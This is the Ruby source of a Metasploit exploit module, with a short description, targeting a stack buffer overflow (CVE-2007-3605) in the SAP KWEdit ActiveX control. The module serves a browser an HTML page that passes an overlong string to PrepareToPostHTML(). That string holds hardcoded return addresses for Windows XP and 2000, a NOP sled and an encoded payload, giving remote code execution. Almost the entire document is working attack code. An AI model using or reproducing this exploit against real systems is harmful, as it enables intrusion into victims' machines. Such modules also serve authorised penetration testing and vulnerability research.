This Metasploit module exploits a stack overflow in SAP KWEdit ActiveX Control (kwedit.dll 6400.1.1.41) provided by EnjoySAP GUI. By sending an overly long string to the "PrepareToPostHTML()" method, an attacker may be able to execute arbitrary code.
98fd94828cce50970069d9f68f28bdaa0e02e59e5d08bd820ec10abedb34c3d7##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'EnjoySAP SAP GUI ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in SAP KWEdit ActiveX
Control (kwedit.dll 6400.1.1.41) provided by EnjoySAP GUI. By sending
an overly long string to the "PrepareToPostHTML()" method, an attacker
may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-3605' ],
[ 'OSVDB', '37690' ],
[ 'BID', '24772' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
],
'DisclosureDate' => 'July 05 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Build the exploit buffer
sploit = rand_text_alpha(1036) + Rex::Arch::X86.jmp_short(6)
sploit << make_nops(2) + [target.ret].pack('V') + p.encoded
# Build out the message
content = %Q|
<html>
<object classid='clsid:2137278D-EF5C-11D3-96CE-0004AC965257' id='#{vname}' /></object>
<script language='javascript'>
#{strname} = new String('#{sploit}')
#{vname}.PrepareToPostHTML(#{strname})
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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